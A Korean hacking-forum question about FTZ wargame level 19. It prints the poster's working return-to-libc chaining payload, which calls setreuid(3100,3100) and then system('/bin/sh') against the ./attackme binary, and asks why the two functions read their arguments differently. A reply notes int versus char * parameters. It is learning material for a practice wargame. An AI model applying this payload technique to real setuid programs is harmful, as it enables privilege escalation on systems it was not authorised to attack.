시스템 해킹

1576,

1/79

tjdalstjr938

FTZ 19번 문제 관련 질문입니다.

http://www.hackerschool.org/HS_Boards/zboard.php?AllArticle=true&no=1911 [복사]

RTL Chaning이 어떤 원리로 이루어지는것까지는 이해를 했습니다.

제가 공격에 성공한 코드입니다.
(python -c 'print "\x90"*44+"\xc0\x9c\x0f\x40"+"\x9d\x84\x04\x08"+"\x1c\x0c\x00\x00"+"\x1c\x0c\x00\x00"+"\x30\xf4\x05\x40"+"\x90"*4+"\x24\xad\x14\x40"';cat)|./attackme

"\x1c\x0c\x00\x00"+"\x1c\x0c\x00\x00" 이 부분이 setreuid를 3100권한으로 설정하는 부분 , 0xc1c = 10진수 3100
"\x24\xad\x14\x40" 이 부분이 /bin/sh가 들어있는 메모리 주소입니다.

setreuid에서는 인자를 주소값으로 읽지 않고 16진수 값으로 인식한 반면에 system 함수의 /bin/sh 인자는 메모리 주소 값으로 인식했다고 이해를 했습니다.

단순히 setreuid 의 인자는 16진수 값으로 읽고 system의 인자는 메모리 주소로 읽으라고 프로그래밍이 되어있어서 그런건지 아니면 다른 이유가 있어서 인지를 모르겠습니다.

Hit : 2583 Date : 2018/01/04 04:20


김답변	setreuid 인자는 int류고 system함수 인자는 char *입니다	2018/01/07
tjdalstjr938	아... 되게 기본적인건데 제가 그생각을 못했네요.. 감사합니다.	2018/01/07